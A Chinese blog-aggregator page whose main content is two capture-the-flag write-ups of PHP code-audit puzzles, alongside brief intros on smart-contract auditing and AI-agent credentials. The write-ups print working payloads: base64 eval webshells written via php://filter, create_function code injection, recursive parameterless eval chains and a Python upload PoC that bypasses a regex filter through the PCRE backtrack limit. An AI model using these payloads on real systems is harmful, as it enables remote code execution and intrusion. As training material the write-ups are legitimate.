首页 文章 精选 留言 我的

精选列表

搜索[日志审计],共10000篇文章
优秀的个人博客,低调大师

智能合约审计流程详解:如何在部署前发现高危漏洞

智能合约一旦部署到公链,代码通常会进入一个近乎不可逆的运行环境。传统 Web 应用出现漏洞,可以通过发布新版本、回滚数据库或者临时关闭服务解决;智能合约则不同,一旦漏洞涉及资产转移、权限控制或核心业务逻辑,攻击者可能在项目团队发现问题之前完成套利,后续即使修复代码,也无法自动追回已经转移的资产。

优秀的个人博客,低调大师

AI Agent 调用链路中的凭证、策略与审计设计

在传统后端服务里,API Key 通常被视为一段稳定配置。服务上线后,它按照固定代码路径调用外部接口,权限边界相对清楚,调用行为也相对可预测。AI Agent 的情况不同。Agent 会根据用户输入、上下文、工具返回结果和模型推理过程决定下一步动作。它可能调用模型,也可能调用检索工具、业务接口、文件系统、消息系统或自动化流程。一次任务中,它可能拆出多个步骤,并在失败后自动重试。这让凭证风险发生了变化:过去 API Key 主要解决“能否访问模型”的问题;在 Agent 场景里,凭证还决定了“Agent 能做多少真实动作”。如果仍然把长期 API Key 直接配置给 Agent,后续就会遇到三个典型问题:

优秀的个人博客,低调大师

p神 代码审计知识星球二周年wp[2]

参考文献:https://m3lon.github.io/2018/05/29/RCTF-r-cursive-wp/http://f1sh.site/2018/11/25/code-breaking-puzzles%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95/ 递归匹配:http://www.laruence.com/2011/09/30/2179.html easy - phpmagic 源码 <?php if(isset($_GET['read-source'])) { exit(show_source(__FILE__)); } define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR'])); if(!is_dir(DATA_DIR)) { mkdir(DATA_DIR, 0755, true); } chdir(DATA_DIR); $domain = isset($_POST['domain']) ? $_POST['domain'] : ''; $log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d'); ?> <!doctype html> <html lang="en"> <head> <!-- Required meta tags --> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <!-- Bootstrap CSS --> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/css/bootstrap.min.css" integrity="sha256-eSi1q2PG6J7g7ib17yAaWMcrr5GrtohYChqibrV7PBE=" crossorigin="anonymous"> <title>Domain Detail</title> <style> pre { width: 100%; background-color: #f6f8fa; border-radius: 3px; font-size: 85%; line-height: 1.45; overflow: auto; padding: 16px; border: 1px solid #ced4da; } </style> </head> <body> <div class="container"> <div class="row"> <div class="col"> <form method="post"> <div class="input-group mt-3"> <div class="input-group-prepend"> <span class="input-group-text" id="basic-addon1">dig -t A -q</span> </div> <input type="text" name="domain" class="form-control" placeholder="Your domain"> <div class="input-group-append"> <button class="btn btn-outline-secondary" type="submit">执行</button> </div> </div> </form> </div> </div> <div class="row"> <div class="col"> <pre class="mt-3"><?php if(!empty($_POST) && $domain): $command = sprintf("dig -t A -q %s", escapeshellarg($domain)); $output = shell_exec($command); $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES); $log_name = $_SERVER['SERVER_NAME'] . $log_name; if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) { file_put_contents($log_name, $output); } echo $output; endif; ?></pre> </div> </div> </div> </body> </html> 解题思路 能控制文件名和文件内容,但是文件内容被htmlspecialchars函数过滤了一次,尖括号没了。PHP的一个特点:只要是传filename的地方,基本都可以传协议流。而file_put_contents的第一个参数就是传filename的地方一个简单的栗子 利用php伪协议流解码base64写入webshell 其他问题 后缀名将能解析php文件的全禁止了 $log_name之前会加上$_SERVER['SERVER_NAME'],不完全可控文件名 文件内容也不完全可控 解决方法 一个可以在windows和linux上都行得通的方法: filename=1.php/.&content=<?php phpinfo();?> 在操作系统中,都是禁止使用/作为文件名的,但是后面加一个.就可以成功的写入1.php了。pathinfo就取不到后缀名,可以正常写入.php之中。且无论是在windows上还是linux上,每次都只可以创建新文件,不能覆盖老文件 $_SERVER['SERVER_NAME']取的是HTTP headers中的Host的值。md5($_SERVER['REMOTE_ADDR'])是自己本机外网ip的md5值 最终payload domain=PD9waHAgZXZhbCgkX1BPU1RbMTJdKTs/Pg&log=://filter/write=convert.base64-decode/resource=6.php/. 在p神的环境上可以直接成功。但是在本机上测试的时候,写入的文件一直是乱码,后来经大佬提醒才知道还需填充字符串。(左边是p神的环境,右边是自己的) 在自己本机上的payload domain=aaaPD9waHAgZXZhbCgkX1BPU1RbMTJdKTs/Pg&log=://filter/write=convert.base64-decode/resource=8.php/. easy - phplimit 源码 <?php if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']); } else { show_source(__FILE__); } 解题思路 \W:任意个非单词字符。匹配非字母、数字、下划线。等价于 `[^A-Za-z0-9_]` ?: 匹配前面的子表达式零次或一次,或指明一个非贪婪限定符。要匹配 ? 字符,请使用 \? \((?R)?\):(?R)*表示, 正则式本身, 可以认为是:`(正则本身(正则本身).....)`。 那么此题最终的正则匹配就是可以递归执行函数,不可以带参数。php函数 getcwd ():取得当前工作目录 dirname():给出一个包含有指向一个文件的全路径的字符串,本函数返回去掉文件名后的目录名。 chdir():改变当前的目录。 scandir(directory):返回一个 array,包含有 `directory` 中的文件和目录 readdir ():返回目录中下一个文件的文件名。文件名以在文件系统中的排序返回 array_reverse() :接受数组 array 作为输入并返回一个单元为相反顺序的新数组 next():它返回的是下一个数组单元的值并将数组指针向前移动了一位。 get_defined_vars ():返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。 reset():将 array 的内部指针倒回到第一个单元并返回第一个数组单元的值。 不带参数的一些函数组合 ?code=print(phpinfo()); ?code=print(readdir(opendir(getcwd()))); #列目录 ?code=print(readfile(readdir(opendir(getcwd())))); #读文件 ?code=print(dirname(dirname(getcwd()))); #print出/var ?code=eval(implode(getallheaders())); #apache模块的函数 ?code=eval(implode(get_defined_vars())); 最终payload ?code=readfile(implode(array_reverse(scandir(dirname(chdir(dirname(getcwd()))))))); #查看当前文件夹 ?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd()))))))); 或者 ?1=readfile("../flag_phpbyp4ss");//&code=eval(implode(reset(get_defined_vars())))

优秀的个人博客,低调大师

p神 代码审计知识星球二周年wp[1]

题目:https://code-breaking.com 参考文献:https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.htmlhttps://blog.csdn.net/while0/article/details/72276440 easy-function 源码 <?php $action = $_GET['action'] ?? ''; $arg = $_GET['arg'] ?? ''; if(preg_match('/^[a-z0-9_]*$/isD', $action)) { show_source(__FILE__); } else { $action('', $arg); } 解题思路 在数字字母下划线都被禁用的情况下调用函数,因为正则里面用了^$,就有可能在开头或结尾加入某个字符绕过正则且函数依旧能正常执行。最后发现\可以,不禁能绕过正则,还能使函数正常执行。 正常执行的原因: php里默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name()这样的调用函数,则其实是写了一个绝对路径。如果在其他namespace里调用系统类,就必须写绝对路径这种方法。 任意函数调用,且函数的第二个参数可控。可使用create_function()利用create_function()代码注入 一个简单的栗子 <?php $id=$_GET['id']; $str2='echo '.$a.'test'.$id.";"; echo $str2; echo "<br/>"; echo "=============================="; echo "<br/>"; $f1 = create_function('$a',$str2); echo "<br/>"; echo "=============================="; ?> payload:http://localhost/2.php?id=2;}phpinfo();/* 执行函数 源代码: function fT($a) { echo "test".$a; } 注入后代码: function fT($a) { echo "test";} phpinfo();/*;//此处为注入代码。 } 最终payload 遍历文件夹下的所有文件: http://51.158.75.42:8087/index.php?action=\create_function&arg=2;}var_dump(scandir(%27.././%27));/* 拿到flag: http://51.158.75.42:8087/?action=%5ccreate_function&arg=2;}var_dump(file_get_contents(%22/var/www/flag_h0w2execute_arb1trary_c0de%22));/* easy-pcrewaf 源码 <?php function is_php($data){ return preg_match('/<\?.*[(`;?>].*/is', $data); } if(empty($_FILES)) { die(show_source(__FILE__)); } $user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']); $data = file_get_contents($_FILES['file']['tmp_name']); if (is_php($data)) { echo "bad request"; } else { @mkdir($user_dir, 0755); $path = $user_dir . '/' . random_int(0, 10) . '.php'; move_uploaded_file($_FILES['file']['tmp_name'], $path); header("Location: $path", true, 303); } 解题思路 判断一下用户输入的内容有没有PHP代码,如果没有,则写入文件。 先来分析下正则 正则引擎,又被细分为DFA(确定性有限状态自动机)与NFA(非确定性有限状态自动机)。他们匹配输入的过程分别是: DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入 NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态。 回溯的过程 直接看p神的分析就行,贼详细就不多加叙述了 PHP的pcre.backtrack_limit限制利用 PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。 回溯次数上限默认是 100万。 当回溯次数超过了100万, preg_match()返回 false,不是 1或0。则绕过了正则。 最终的解决方式: 通过发送超长字符串的方式,使正则执行失败,最后绕过目标对PHP语言的限制。 大佬的poc: import requests from io import BytesIO files = { 'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000) } res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False) print(res.headers) 解决方案 如果用preg_match对字符串进行匹配,一定要使用===全等号来判断返回值。

资源下载

更多资源
Mario

Mario

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长,特征是大鼻子、头戴帽子、身穿背带裤,还留着胡子。与他的双胞胎兄弟路易基一起,长年担任任天堂的招牌角色。

腾讯云软件源

腾讯云软件源

为解决软件依赖安装时官方源访问速度慢的问题,腾讯云为一些软件搭建了缓存服务。您可以通过使用腾讯云软件源站来提升依赖包的安装速度。为了方便用户自由搭建服务架构,目前腾讯云软件源站支持公网访问和内网访问。

Rocky Linux

Rocky Linux

Rocky Linux(中文名:洛基)是由Gregory Kurtzer于2020年12月发起的企业级Linux发行版,作为CentOS稳定版停止维护后与RHEL(Red Hat Enterprise Linux)完全兼容的开源替代方案,由社区拥有并管理,支持x86_64、aarch64等架构。其通过重新编译RHEL源代码提供长期稳定性,采用模块化包装和SELinux安全架构,默认包含GNOME桌面环境及XFS文件系统,支持十年生命周期更新。

WebStorm

WebStorm

WebStorm 是jetbrains公司旗下一款JavaScript 开发工具。目前已经被广大中国JS开发者誉为“Web前端开发神器”、“最强大的HTML5编辑器”、“最智能的JavaScript IDE”等。与IntelliJ IDEA同源,继承了IntelliJ IDEA强大的JS部分的功能。

用户登录
用户注册